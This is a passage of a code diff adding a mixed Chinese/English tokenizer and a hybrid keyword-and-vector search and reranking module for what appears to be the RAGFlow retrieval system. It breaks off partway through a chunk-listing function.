+ tk_syns = self.syn.lookup(tk) + tk_syns = [FulltextQueryer.subSpecialChar(s) for s in tk_syns] + tk_syns = [rag_tokenizer.fine_grained_tokenize(s) for s in tk_syns if s] + tk_syns = [f"\"{s}\"" if s.find(" ") > 0 else s for s in tk_syns] + tk = FulltextQueryer.subSpecialChar(tk) + if tk.find(" ") > 0: + tk = '"%s"' % tk + if tk_syns: + tk = f"({tk} OR (%s)^0.2)" % " ".join(tk_syns) + if tk: + keywords.append(f"{tk}^{w}") + + return MatchTextExpr(self.query_fields, " ".join(keywords), 100, + {"minimum_should_match": min(3, len(keywords) // 10)}) diff --git a/rag/nlp/rag_tokenizer.py b/rag/nlp/rag_tokenizer.py new file mode 100644 index 0000000..c339497 --- /dev/null +++ b/rag/nlp/rag_tokenizer.py @@ -0,0 +1,516 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import copy +import datrie +import math +import os +import re +import string +import sys +from hanziconv import HanziConv +from nltk import word_tokenize +from nltk.stem import PorterStemmer, WordNetLemmatizer +from api.utils.file_utils import get_project_base_directory + + +class RagTokenizer: + def key_(self, line): + return str(line.lower().encode("utf-8"))[2:-1] + + def rkey_(self, line): + return str(("DD" + (line[::-1].lower())).encode("utf-8"))[2:-1] + + def loadDict_(self, fnm): + logging.info(f"[HUQIE]:Build trie from {fnm}") + try: + of = open(fnm, "r", encoding='utf-8') + while True: + line = of.readline() + if not line: + break + line = re.sub(r"[\r\n]+", "", line) + line = re.split(r"[ \t]", line) + k = self.key_(line[0]) + F = int(math.log(float(line[1]) / self.DENOMINATOR) + .5) + if k not in self.trie_ or self.trie_[k][0] < F: + self.trie_[self.key_(line[0])] = (F, line[2]) + self.trie_[self.rkey_(line[0])] = 1 + + dict_file_cache = fnm + ".trie" + logging.info(f"[HUQIE]:Build trie cache to {dict_file_cache}") + self.trie_.save(dict_file_cache) + of.close() + except Exception: + logging.exception(f"[HUQIE]:Build trie {fnm} failed") + + def __init__(self, debug=False): + self.DEBUG = debug + self.DENOMINATOR = 1000000 + self.DIR_ = os.path.join(get_project_base_directory(), "rag/res", "huqie") + + self.stemmer = PorterStemmer() + self.lemmatizer = WordNetLemmatizer() + + self.SPLIT_CHAR = r"([ ,\.<>/?;:'\[\]\\`!@#$%^&*\(\)\{\}\|_+=《》，。？、；‘’：“”【】~！￥%……（）——-]+|[a-zA-Z0-9,\.-]+)" + + trie_file_name = self.DIR_ + ".txt.trie" + # check if trie file existence + if os.path.exists(trie_file_name): + try: + # load trie from file + self.trie_ = datrie.Trie.load(trie_file_name) + return + except Exception: + # fail to load trie from file, build default trie + logging.exception(f"[HUQIE]:Fail to load trie file {trie_file_name}, build the default trie file") + self.trie_ = datrie.Trie(string.printable) + else: + # file not exist, build default trie + logging.info(f"[HUQIE]:Trie file {trie_file_name} not found, build the default trie file") + self.trie_ = datrie.Trie(string.printable) + + # load data from dict file and save to trie file + self.loadDict_(self.DIR_ + ".txt") + + def loadUserDict(self, fnm): + try: + self.trie_ = datrie.Trie.load(fnm + ".trie") + return + except Exception: + self.trie_ = datrie.Trie(string.printable) + self.loadDict_(fnm) + + def addUserDict(self, fnm): + self.loadDict_(fnm) + + def _strQ2B(self, ustring): + """Convert full-width characters to half-width characters""" + rstring = "" + for uchar in ustring: + inside_code = ord(uchar) + if inside_code == 0x3000: + inside_code = 0x0020 + else: + inside_code -= 0xfee0 + if inside_code < 0x0020 or inside_code > 0x7e: # After the conversion, if it's not a half-width character, return the original character. + rstring += uchar + else: + rstring += chr(inside_code) + return rstring + + def _tradi2simp(self, line): + return HanziConv.toSimplified(line) + + def dfs_(self, chars, s, preTks, tkslist, _depth=0, _memo=None): + if _memo is None: + _memo = {} + MAX_DEPTH = 10 + if _depth > MAX_DEPTH: + if s < len(chars): + copy_pretks = copy.deepcopy(preTks) + remaining = "".join(chars[s:]) + copy_pretks.append((remaining, (-12, ''))) + tkslist.append(copy_pretks) + return s + + state_key = (s, tuple(tk[0] for tk in preTks)) if preTks else (s, None) + if state_key in _memo: + return _memo[state_key] + + res = s + if s >= len(chars): + tkslist.append(preTks) + _memo[state_key] = s + return s + if s < len(chars) - 4: + is_repetitive = True + char_to_check = chars[s] + for i in range(1, 5): + if s + i >= len(chars) or chars[s + i] != char_to_check: + is_repetitive = False + break + if is_repetitive: + end = s + while end < len(chars) and chars[end] == char_to_check: + end += 1 + mid = s + min(10, end - s) + t = "".join(chars[s:mid]) + k = self.key_(t) + copy_pretks = copy.deepcopy(preTks) + if k in self.trie_: + copy_pretks.append((t, self.trie_[k])) + else: + copy_pretks.append((t, (-12, ''))) + next_res = self.dfs_(chars, mid, copy_pretks, tkslist, _depth + 1, _memo) + res = max(res, next_res) + _memo[state_key] = res + return res + + S = s + 1 + if s + 2 <= len(chars): + t1 = "".join(chars[s:s + 1]) + t2 = "".join(chars[s:s + 2]) + if self.trie_.has_keys_with_prefix(self.key_(t1)) and not self.trie_.has_keys_with_prefix(self.key_(t2)): + S = s + 2 + if len(preTks) > 2 and len(preTks[-1][0]) == 1 and len(preTks[-2][0]) == 1 and len(preTks[-3][0]) == 1: + t1 = preTks[-1][0] + "".join(chars[s:s + 1]) + if self.trie_.has_keys_with_prefix(self.key_(t1)): + S = s + 2 + + for e in range(S, len(chars) + 1): + t = "".join(chars[s:e]) + k = self.key_(t) + if e > s + 1 and not self.trie_.has_keys_with_prefix(k): + break + if k in self.trie_: + pretks = copy.deepcopy(preTks) + pretks.append((t, self.trie_[k])) + res = max(res, self.dfs_(chars, e, pretks, tkslist, _depth + 1, _memo)) + + if res > s: + _memo[state_key] = res + return res + + t = "".join(chars[s:s + 1]) + k = self.key_(t) + copy_pretks = copy.deepcopy(preTks) + if k in self.trie_: + copy_pretks.append((t, self.trie_[k])) + else: + copy_pretks.append((t, (-12, ''))) + result = self.dfs_(chars, s + 1, copy_pretks, tkslist, _depth + 1, _memo) + _memo[state_key] = result + return result + + def freq(self, tk): + k = self.key_(tk) + if k not in self.trie_: + return 0 + return int(math.exp(self.trie_[k][0]) * self.DENOMINATOR + 0.5) + + def tag(self, tk): + k = self.key_(tk) + if k not in self.trie_: + return "" + return self.trie_[k][1] + + def score_(self, tfts): + B = 30 + F, L, tks = 0, 0, [] + for tk, (freq, tag) in tfts: + F += freq + L += 0 if len(tk) < 2 else 1 + tks.append(tk) + #F /= len(tks) + L /= len(tks) + logging.debug("[SC] {} {} {} {} {}".format(tks, len(tks), L, F, B / len(tks) + L + F)) + return tks, B / len(tks) + L + F + + def sortTks_(self, tkslist): + res = [] + for tfts in tkslist: + tks, s = self.score_(tfts) + res.append((tks, s)) + return sorted(res, key=lambda x: x[1], reverse=True) + + def merge_(self, tks): + # if split chars is part of token + res = [] + tks = re.sub(r"[ ]+", " ", tks).split() + s = 0 + while True: + if s >= len(tks): + break + E = s + 1 + for e in range(s + 2, min(len(tks) + 2, s + 6)): + tk = "".join(tks[s:e]) + if re.search(self.SPLIT_CHAR, tk) and self.freq(tk): + E = e + res.append("".join(tks[s:E])) + s = E + + return " ".join(res) + + def maxForward_(self, line): + res = [] + s = 0 + while s < len(line): + e = s + 1 + t = line[s:e] + while e < len(line) and self.trie_.has_keys_with_prefix( + self.key_(t)): + e += 1 + t = line[s:e] + + while e - 1 > s and self.key_(t) not in self.trie_: + e -= 1 + t = line[s:e] + + if self.key_(t) in self.trie_: + res.append((t, self.trie_[self.key_(t)])) + else: + res.append((t, (0, ''))) + + s = e + + return self.score_(res) + + def maxBackward_(self, line): + res = [] + s = len(line) - 1 + while s >= 0: + e = s + 1 + t = line[s:e] + while s > 0 and self.trie_.has_keys_with_prefix(self.rkey_(t)): + s -= 1 + t = line[s:e] + + while s + 1 < e and self.key_(t) not in self.trie_: + s += 1 + t = line[s:e] + + if self.key_(t) in self.trie_: + res.append((t, self.trie_[self.key_(t)])) + else: + res.append((t, (0, ''))) + + s -= 1 + + return self.score_(res[::-1]) + + def english_normalize_(self, tks): + return [self.stemmer.stem(self.lemmatizer.lemmatize(t)) if re.match(r"[a-zA-Z_-]+$", t) else t for t in tks] + + def _split_by_lang(self, line): + txt_lang_pairs = [] + arr = re.split(self.SPLIT_CHAR, line) + for a in arr: + if not a: + continue + s = 0 + e = s + 1 + zh = is_chinese(a[s]) + while e < len(a): + _zh = is_chinese(a[e]) + if _zh == zh: + e += 1 + continue + txt_lang_pairs.append((a[s: e], zh)) + s = e + e = s + 1 + zh = _zh + if s >= len(a): + continue + txt_lang_pairs.append((a[s: e], zh)) + return txt_lang_pairs + + def tokenize(self, line): + line = re.sub(r"\W+", " ", line) + line = self._strQ2B(line).lower() + line = self._tradi2simp(line) + + arr = self._split_by_lang(line) + res = [] + for L,lang in arr: + if not lang: + res.extend([self.stemmer.stem(self.lemmatizer.lemmatize(t)) for t in word_tokenize(L)]) + continue + if len(L) < 2 or re.match( + r"[a-z\.-]+$", L) or re.match(r"[0-9\.-]+$", L): + res.append(L) + continue + + # use maxforward for the first time + tks, s = self.maxForward_(L) + tks1, s1 = self.maxBackward_(L) + if self.DEBUG: + logging.debug("[FW] {} {}".format(tks, s)) + logging.debug("[BW] {} {}".format(tks1, s1)) + + i, j, _i, _j = 0, 0, 0, 0 + same = 0 + while i + same < len(tks1) and j + same < len(tks) and tks1[i + same] == tks[j + same]: + same += 1 + if same > 0: + res.append(" ".join(tks[j: j + same])) + _i = i + same + _j = j + same + j = _j + 1 + i = _i + 1 + + while i < len(tks1) and j < len(tks): + tk1, tk = "".join(tks1[_i:i]), "".join(tks[_j:j]) + if tk1 != tk: + if len(tk1) > len(tk): + j += 1 + else: + i += 1 + continue + + if tks1[i] != tks[j]: + i += 1 + j += 1 + continue + # backward tokens from_i to i are different from forward tokens from _j to j. + tkslist = [] + self.dfs_("".join(tks[_j:j]), 0, [], tkslist) + res.append(" ".join(self.sortTks_(tkslist)[0][0])) + + same = 1 + while i + same < len(tks1) and j + same < len(tks) and tks1[i + same] == tks[j + same]: + same += 1 + res.append(" ".join(tks[j: j + same])) + _i = i + same + _j = j + same + j = _j + 1 + i = _i + 1 + + if _i < len(tks1): + assert _j < len(tks) + assert "".join(tks1[_i:]) == "".join(tks[_j:]) + tkslist = [] + self.dfs_("".join(tks[_j:]), 0, [], tkslist) + res.append(" ".join(self.sortTks_(tkslist)[0][0])) + + res = " ".join(res) + logging.debug("[TKS] {}".format(self.merge_(res))) + return self.merge_(res) + + def fine_grained_tokenize(self, tks): + tks = tks.split() + zh_num = len([1 for c in tks if c and is_chinese(c[0])]) + if zh_num < len(tks) * 0.2: + res = [] + for tk in tks: + res.extend(tk.split("/")) + return " ".join(res) + + res = [] + for tk in tks: + if len(tk) < 3 or re.match(r"[0-9,\.-]+$", tk): + res.append(tk) + continue + tkslist = [] + if len(tk) > 10: + tkslist.append(tk) + else: + self.dfs_(tk, 0, [], tkslist) + if len(tkslist) < 2: + res.append(tk) + continue + stk = self.sortTks_(tkslist)[1][0] + if len(stk) == len(tk): + stk = tk + else: + if re.match(r"[a-z\.-]+$", tk): + for t in stk: + if len(t) < 3: + stk = tk + break + else: + stk = " ".join(stk) + else: + stk = " ".join(stk) + + res.append(stk) + + return " ".join(self.english_normalize_(res)) + + +def is_chinese(s): + if s >= u'\u4e00' and s <= u'\u9fa5': + return True + else: + return False + + +def is_number(s): + if s >= u'\u0030' and s <= u'\u0039': + return True + else: + return False + + +def is_alphabet(s): + if (s >= u'\u0041' and s <= u'\u005a') or ( + s >= u'\u0061' and s <= u'\u007a'): + return True + else: + return False + + +def naiveQie(txt): + tks = [] + for t in txt.split(): + if tks and re.match(r".*[a-zA-Z]$", tks[-1] + ) and re.match(r".*[a-zA-Z]$", t): + tks.append(" ") + tks.append(t) + return tks + + +tokenizer = RagTokenizer() +tokenize = tokenizer.tokenize +fine_grained_tokenize = tokenizer.fine_grained_tokenize +tag = tokenizer.tag +freq = tokenizer.freq +loadUserDict = tokenizer.loadUserDict +addUserDict = tokenizer.addUserDict +tradi2simp = tokenizer._tradi2simp +strQ2B = tokenizer._strQ2B + +if __name__ == '__main__': + tknzr = RagTokenizer(debug=True) + # huqie.addUserDict("/tmp/tmp.new.tks.dict") + tks = tknzr.tokenize( + "哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈") + logging.info(tknzr.fine_grained_tokenize(tks)) + tks = tknzr.tokenize( + "公开征求意见稿提出，境外投资者可使用自有人民币或外汇投资。使用外汇投资的，可通过债券持有人在香港人民币业务清算行及香港地区经批准可进入境内银行间外汇市场进行交易的境外人民币业务参加行（以下统称香港结算行）办理外汇资金兑换。香港结算行由此所产生的头寸可到境内银行间外汇市场平盘。使用外汇投资的，在其投资的债券到期或卖出后，原则上应兑换回外汇。") + logging.info(tknzr.fine_grained_tokenize(tks)) + tks = tknzr.tokenize( + "多校划片就是一个小区对应多个小学初中，让买了学区房的家庭也不确定到底能上哪个学校。目的是通过这种方式为学区房降温，把就近入学落到实处。南京市长江大桥") + logging.info(tknzr.fine_grained_tokenize(tks)) + tks = tknzr.tokenize( + "实际上当时他们已经将业务中心偏移到安全部门和针对政府企业的部门 Scripts are compiled and cached aaaaaaaaa") + logging.info(tknzr.fine_grained_tokenize(tks)) + tks = tknzr.tokenize("虽然我不怎么玩") + logging.info(tknzr.fine_grained_tokenize(tks)) + tks = tknzr.tokenize("蓝月亮如何在外资夹击中生存,那是全宇宙最有意思的") + logging.info(tknzr.fine_grained_tokenize(tks)) + tks = tknzr.tokenize( + "涡轮增压发动机num最大功率,不像别的共享买车锁电子化的手段,我们接过来是否有意义,黄黄爱美食,不过，今天阿奇要讲到的这家农贸市场，说实话，还真蛮有特色的！不仅环境好，还打出了") + logging.info(tknzr.fine_grained_tokenize(tks)) + tks = tknzr.tokenize("这周日你去吗？这周日你有空吗？") + logging.info(tknzr.fine_grained_tokenize(tks)) + tks = tknzr.tokenize("Unity3D开发经验 测试开发工程师 c++双11双11 985 211 ") + logging.info(tknzr.fine_grained_tokenize(tks)) + tks = tknzr.tokenize( + "数据分析项目经理|数据分析挖掘|数据分析方向|商品数据分析|搜索数据分析 sql python hive tableau Cocos2d-") + logging.info(tknzr.fine_grained_tokenize(tks)) + if len(sys.argv) < 2: + sys.exit() + tknzr.DEBUG = False + tknzr.loadUserDict(sys.argv[1]) + of = open(sys.argv[2], "r") + while True: + line = of.readline() + if not line: + break + logging.info(tknzr.tokenize(line)) + of.close() diff --git a/rag/nlp/search.py b/rag/nlp/search.py new file mode 100644 index 0000000..db14230 --- /dev/null +++ b/rag/nlp/search.py @@ -0,0 +1,516 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import re +import math +from collections import OrderedDict +from dataclasses import dataclass + +from rag.settings import TAG_FLD, PAGERANK_FLD +from rag.utils import rmSpace, get_float +from rag.nlp import rag_tokenizer, query +import numpy as np +from rag.utils.doc_store_conn import DocStoreConnection, MatchDenseExpr, FusionExpr, OrderByExpr + + +def index_name(uid): return f"ragflow_{uid}" + + +class Dealer: + def __init__(self, dataStore: DocStoreConnection): + self.qryr = query.FulltextQueryer() + self.dataStore = dataStore + + @dataclass + class SearchResult: + total: int + ids: list[str] + query_vector: list[float] | None = None + field: dict | None = None + highlight: dict | None = None + aggregation: list | dict | None = None + keywords: list[str] | None = None + group_docs: list[list] | None = None + + def get_vector(self, txt, emb_mdl, topk=10, similarity=0.1): + qv, _ = emb_mdl.encode_queries(txt) + shape = np.array(qv).shape + if len(shape) > 1: + raise Exception( + f"Dealer.get_vector returned array's shape {shape} doesn't match expectation(exact one dimension).") + embedding_data = [get_float(v) for v in qv] + vector_column_name = f"q_{len(embedding_data)}_vec" + return MatchDenseExpr(vector_column_name, embedding_data, 'float', 'cosine', topk, {"similarity": similarity}) + + def get_filters(self, req): + condition = dict() + for key, field in {"kb_ids": "kb_id", "doc_ids": "doc_id"}.items(): + if key in req and req[key] is not None: + condition[field] = req[key] + # TODO(yzc): `available_int` is nullable however infinity doesn't support nullable columns. + for key in ["knowledge_graph_kwd", "available_int", "entity_kwd", "from_entity_kwd", "to_entity_kwd", "removed_kwd"]: + if key in req and req[key] is not None: + condition[key] = req[key] + return condition + + def search(self, req, idx_names: str | list[str], + kb_ids: list[str], + emb_mdl=None, + highlight=False, + rank_feature: dict | None = None + ): + filters = self.get_filters(req) + orderBy = OrderByExpr() + + pg = int(req.get("page", 1)) - 1 + topk = int(req.get("topk", 1024)) + ps = int(req.get("size", topk)) + offset, limit = pg * ps, ps + + src = req.get("fields", + ["docnm_kwd", "content_ltks", "kb_id", "img_id", "title_tks", "important_kwd", "position_int", + "doc_id", "page_num_int", "top_int", "create_timestamp_flt", "knowledge_graph_kwd", + "question_kwd", "question_tks", "doc_type_kwd", + "available_int", "content_with_weight", PAGERANK_FLD, TAG_FLD]) + kwds = set([]) + + qst = req.get("question", "") + q_vec = [] + if not qst: + if req.get("sort"): + orderBy.asc("page_num_int") + orderBy.asc("top_int") + orderBy.desc("create_timestamp_flt") + res = self.dataStore.search(src, [], filters, [], orderBy, offset, limit, idx_names, kb_ids) + total = self.dataStore.getTotal(res) + logging.debug("Dealer.search TOTAL: {}".format(total)) + else: + highlightFields = ["content_ltks", "title_tks"] if highlight else [] + matchText, keywords = self.qryr.question(qst, min_match=0.3) + if emb_mdl is None: + matchExprs = [matchText] + res = self.dataStore.search(src, highlightFields, filters, matchExprs, orderBy, offset, limit, + idx_names, kb_ids, rank_feature=rank_feature) + total = self.dataStore.getTotal(res) + logging.debug("Dealer.search TOTAL: {}".format(total)) + else: + matchDense = self.get_vector(qst, emb_mdl, topk, req.get("similarity", 0.1)) + q_vec = matchDense.embedding_data + src.append(f"q_{len(q_vec)}_vec") + + fusionExpr = FusionExpr("weighted_sum", topk, {"weights": "0.05,0.95"}) + matchExprs = [matchText, matchDense, fusionExpr] + + res = self.dataStore.search(src, highlightFields, filters, matchExprs, orderBy, offset, limit, + idx_names, kb_ids, rank_feature=rank_feature) + total = self.dataStore.getTotal(res) + logging.debug("Dealer.search TOTAL: {}".format(total)) + + # If result is empty, try again with lower min_match + if total == 0: + if filters.get("doc_id"): + res = self.dataStore.search(src, [], filters, [], orderBy, offset, limit, idx_names, kb_ids) + total = self.dataStore.getTotal(res) + else: + matchText, _ = self.qryr.question(qst, min_match=0.1) + matchDense.extra_options["similarity"] = 0.17 + res = self.dataStore.search(src, highlightFields, filters, [matchText, matchDense, fusionExpr], + orderBy, offset, limit, idx_names, kb_ids, rank_feature=rank_feature) + total = self.dataStore.getTotal(res) + logging.debug("Dealer.search 2 TOTAL: {}".format(total)) + + for k in keywords: + kwds.add(k) + for kk in rag_tokenizer.fine_grained_tokenize(k).split(): + if len(kk) < 2: + continue + if kk in kwds: + continue + kwds.add(kk) + + logging.debug(f"TOTAL: {total}") + ids = self.dataStore.getChunkIds(res) + keywords = list(kwds) + highlight = self.dataStore.getHighlight(res, keywords, "content_with_weight") + aggs = self.dataStore.getAggregation(res, "docnm_kwd") + return self.SearchResult( + total=total, + ids=ids, + query_vector=q_vec, + aggregation=aggs, + highlight=highlight, + field=self.dataStore.getFields(res, src), + keywords=keywords + ) + + @staticmethod + def trans2floats(txt): + return [get_float(t) for t in txt.split("\t")] + + def insert_citations(self, answer, chunks, chunk_v, + embd_mdl, tkweight=0.1, vtweight=0.9): + assert len(chunks) == len(chunk_v) + if not chunks: + return answer, set([]) + pieces = re.split(r"(```)", answer) + if len(pieces) >= 3: + i = 0 + pieces_ = [] + while i < len(pieces): + if pieces[i] == "```": + st = i + i += 1 + while i < len(pieces) and pieces[i] != "```": + i += 1 + if i < len(pieces): + i += 1 + pieces_.append("".join(pieces[st: i]) + "\n") + else: + pieces_.extend( + re.split( + r"([^\|][；。？!！\n]|[a-z][.?;!][ \n])", + pieces[i])) + i += 1 + pieces = pieces_ + else: + pieces = re.split(r"([^\|][；。？!！\n]|[a-z][.?;!][ \n])", answer) + for i in range(1, len(pieces)): + if re.match(r"([^\|][；。？!！\n]|[a-z][.?;!][ \n])", pieces[i]): + pieces[i - 1] += pieces[i][0] + pieces[i] = pieces[i][1:] + idx = [] + pieces_ = [] + for i, t in enumerate(pieces): + if len(t) < 5: + continue + idx.append(i) + pieces_.append(t) + logging.debug("{} => {}".format(answer, pieces_)) + if not pieces_: + return answer, set([]) + + ans_v, _ = embd_mdl.encode(pieces_) + for i in range(len(chunk_v)): + if len(ans_v[0]) != len(chunk_v[i]): + chunk_v[i] = [0.0]*len(ans_v[0]) + logging.warning("The dimension of query and chunk do not match: {} vs. {}".format(len(ans_v[0]), len(chunk_v[i]))) + + assert len(ans_v[0]) == len(chunk_v[0]), "The dimension of query and chunk do not match: {} vs. {}".format( + len(ans_v[0]), len(chunk_v[0])) + + chunks_tks = [rag_tokenizer.tokenize(self.qryr.rmWWW(ck)).split() + for ck in chunks] + cites = {} + thr = 0.63 + while thr > 0.3 and len(cites.keys()) == 0 and pieces_ and chunks_tks: + for i, a in enumerate(pieces_): + sim, tksim, vtsim = self.qryr.hybrid_similarity(ans_v[i], + chunk_v, + rag_tokenizer.tokenize( + self.qryr.rmWWW(pieces_[i])).split(), + chunks_tks, + tkweight, vtweight) + mx = np.max(sim) * 0.99 + logging.debug("{} SIM: {}".format(pieces_[i], mx)) + if mx < thr: + continue + cites[idx[i]] = list( + set([str(ii) for ii in range(len(chunk_v)) if sim[ii] > mx]))[:4] + thr *= 0.8 + + res = "" + seted = set([]) + for i, p in enumerate(pieces): + res += p + if i not in idx: + continue + if i not in cites: + continue + for c in cites[i]: + assert int(c) < len(chunk_v) + for c in cites[i]: + if c in seted: + continue + res += f" [ID:{c}]" + seted.add(c) + + return res, seted + + def _rank_feature_scores(self, query_rfea, search_res): + ## For rank feature(tag_fea) scores. + rank_fea = [] + pageranks = [] + for chunk_id in search_res.ids: + pageranks.append(search_res.field[chunk_id].get(PAGERANK_FLD, 0)) + pageranks = np.array(pageranks, dtype=float) + + if not query_rfea: + return np.array([0 for _ in range(len(search_res.ids))]) + pageranks + + q_denor = np.sqrt(np.sum([s*s for t,s in query_rfea.items() if t != PAGERANK_FLD])) + for i in search_res.ids: + nor, denor = 0, 0 + if not search_res.field[i].get(TAG_FLD): + rank_fea.append(0) + continue + for t, sc in eval(search_res.field[i].get(TAG_FLD, "{}")).items(): + if t in query_rfea: + nor += query_rfea[t] * sc + denor += sc * sc + if denor == 0: + rank_fea.append(0) + else: + rank_fea.append(nor/np.sqrt(denor)/q_denor) + return np.array(rank_fea)*10. + pageranks + + def rerank(self, sres, query, tkweight=0.3, + vtweight=0.7, cfield="content_ltks", + rank_feature: dict | None = None + ): + _, keywords = self.qryr.question(query) + vector_size = len(sres.query_vector) + vector_column = f"q_{vector_size}_vec" + zero_vector = [0.0] * vector_size + ins_embd = [] + for chunk_id in sres.ids: + vector = sres.field[chunk_id].get(vector_column, zero_vector) + if isinstance(vector, str): + vector = [get_float(v) for v in vector.split("\t")] + ins_embd.append(vector) + if not ins_embd: + return [], [], [] + + for i in sres.ids: + if isinstance(sres.field[i].get("important_kwd", []), str): + sres.field[i]["important_kwd"] = [sres.field[i]["important_kwd"]] + ins_tw = [] + for i in sres.ids: + content_ltks = list(OrderedDict.fromkeys(sres.field[i][cfield].split())) + title_tks = [t for t in sres.field[i].get("title_tks", "").split() if t] + question_tks = [t for t in sres.field[i].get("question_tks", "").split() if t] + important_kwd = sres.field[i].get("important_kwd", []) + tks = content_ltks + title_tks * 2 + important_kwd * 5 + question_tks * 6 + ins_tw.append(tks) + + ## For rank feature(tag_fea) scores. + rank_fea = self._rank_feature_scores(rank_feature, sres) + + sim, tksim, vtsim = self.qryr.hybrid_similarity(sres.query_vector, + ins_embd, + keywords, + ins_tw, tkweight, vtweight) + + return sim + rank_fea, tksim, vtsim + + def rerank_by_model(self, rerank_mdl, sres, query, tkweight=0.3, + vtweight=0.7, cfield="content_ltks", + rank_feature: dict | None = None): + _, keywords = self.qryr.question(query) + + for i in sres.ids: + if isinstance(sres.field[i].get("important_kwd", []), str): + sres.field[i]["important_kwd"] = [sres.field[i]["important_kwd"]] + ins_tw = [] + for i in sres.ids: + content_ltks = sres.field[i][cfield].split() + title_tks = [t for t in sres.field[i].get("title_tks", "").split() if t] + important_kwd = sres.field[i].get("important_kwd", []) + tks = content_ltks + title_tks + important_kwd + ins_tw.append(tks) + + tksim = self.qryr.token_similarity(keywords, ins_tw) + vtsim, _ = rerank_mdl.similarity(query, [rmSpace(" ".join(tks)) for tks in ins_tw]) + ## For rank feature(tag_fea) scores. + rank_fea = self._rank_feature_scores(rank_feature, sres) + + return tkweight * (np.array(tksim)+rank_fea) + vtweight * vtsim, tksim, vtsim + + def hybrid_similarity(self, ans_embd, ins_embd, ans, inst): + return self.qryr.hybrid_similarity(ans_embd, + ins_embd, + rag_tokenizer.tokenize(ans).split(), + rag_tokenizer.tokenize(inst).split()) + + def retrieval(self, question, embd_mdl, tenant_ids, kb_ids, page, page_size, similarity_threshold=0.2, + vector_similarity_weight=0.3, top=1024, doc_ids=None, aggs=True, + rerank_mdl=None, highlight=False, + rank_feature: dict | None = {PAGERANK_FLD: 10}): + ranks = {"total": 0, "chunks": [], "doc_aggs": {}} + if not question: + return ranks + + RERANK_LIMIT = 64 + RERANK_LIMIT = int(RERANK_LIMIT//page_size + ((RERANK_LIMIT%page_size)/(page_size*1.) + 0.5)) * page_size if page_size>1 else 1 + if RERANK_LIMIT < 1: ## when page_size is very large the RERANK_LIMIT will be 0. + RERANK_LIMIT = 1 + req = {"kb_ids": kb_ids, "doc_ids": doc_ids, "page": math.ceil(page_size*page/RERANK_LIMIT), "size": RERANK_LIMIT, + "question": question, "vector": True, "topk": top, + "similarity": similarity_threshold, + "available_int": 1} + + + if isinstance(tenant_ids, str): + tenant_ids = tenant_ids.split(",") + + sres = self.search(req, [index_name(tid) for tid in tenant_ids], + kb_ids, embd_mdl, highlight, rank_feature=rank_feature) + + if rerank_mdl and sres.total > 0: + sim, tsim, vsim = self.rerank_by_model(rerank_mdl, + sres, question, 1 - vector_similarity_weight, + vector_similarity_weight, + rank_feature=rank_feature) + else: + sim, tsim, vsim = self.rerank( + sres, question, 1 - vector_similarity_weight, vector_similarity_weight, + rank_feature=rank_feature) + # Already paginated in search function + idx = np.argsort(sim * -1)[(page - 1) * page_size:page * page_size] + dim = len(sres.query_vector) + vector_column = f"q_{dim}_vec" + zero_vector = [0.0] * dim + sim_np = np.array(sim) + filtered_count = (sim_np >= similarity_threshold).sum() + ranks["total"] = int(filtered_count) # Convert from np.int64 to Python int otherwise JSON serializable error + for i in idx: + if sim[i] < similarity_threshold: + break + + id = sres.ids[i] + chunk = sres.field[id] + dnm = chunk.get("docnm_kwd", "") + did = chunk.get("doc_id", "") + + if len(ranks["chunks"]) >= page_size: + if aggs: + if dnm not in ranks["doc_aggs"]: + ranks["doc_aggs"][dnm] = {"doc_id": did, "count": 0} + ranks["doc_aggs"][dnm]["count"] += 1 + continue + break + + position_int = chunk.get("position_int", []) + d = { + "chunk_id": id, + "content_ltks": chunk["content_ltks"], + "content_with_weight": chunk["content_with_weight"], + "doc_id": did, + "docnm_kwd": dnm, + "kb_id": chunk["kb_id"], + "important_kwd": chunk.get("important_kwd", []), + "image_id": chunk.get("img_id", ""), + "similarity": sim[i], + "vector_similarity": vsim[i], + "term_similarity": tsim[i], + "vector": chunk.get(vector_column, zero_vector), + "positions": position_int, + "doc_type_kwd": chunk.get("doc_type_kwd", "") + } + if highlight and sres.highlight: + if id in sres.highlight: + d["highlight"] = rmSpace(sres.highlight[id]) + else: + d["highlight"] = d["content_with_weight"] + ranks["chunks"].append(d) + if dnm not in ranks["doc_aggs"]: + ranks["doc_aggs"][dnm] = {"doc_id": did, "count": 0} + ranks["doc_aggs"][dnm]["count"] += 1 + ranks["doc_aggs"] = [{"doc_name": k, + "doc_id": v["doc_id"], + "count": v["count"]} for k, + v in sorted(ranks["doc_aggs"].items(), + key=lambda x: x[1]["count"] * -1)] + ranks["chunks"] = ranks["chunks"][:page_size] + + return ranks + + def sql_retrieval(self, sql, fetch_size=128, format="json"): + tbl = self.dataStore.sql(sql, fetch_size, format) + return tbl + + def chunk_list(self, doc_id: str, tenant_id: str, + kb_ids: list[str], max_count=1024, + offset=0, + fields=["docnm_kwd", "content_with_weight", "img_id"], + sort_by_position: bool = False): + condition = {"doc_id": doc_id} + + fields_set = set(fields or []) + if sort_by_position: + for need in ("page_num_int", "position_int", "top_int"): + if need not in fields_set: + fields_set.add(need) + fields = list(fields_set) + + orderBy = OrderByExpr() + if sort_by_position: + orderBy.asc("page_num_int") + orderBy.asc("position_int") + orderBy.asc("top_int") + + res = [] + bs = 128 + for p in range(offset, max_count, bs): + es_res = self.dataStore.search(fields, [], condition, [], orderBy, p, bs, 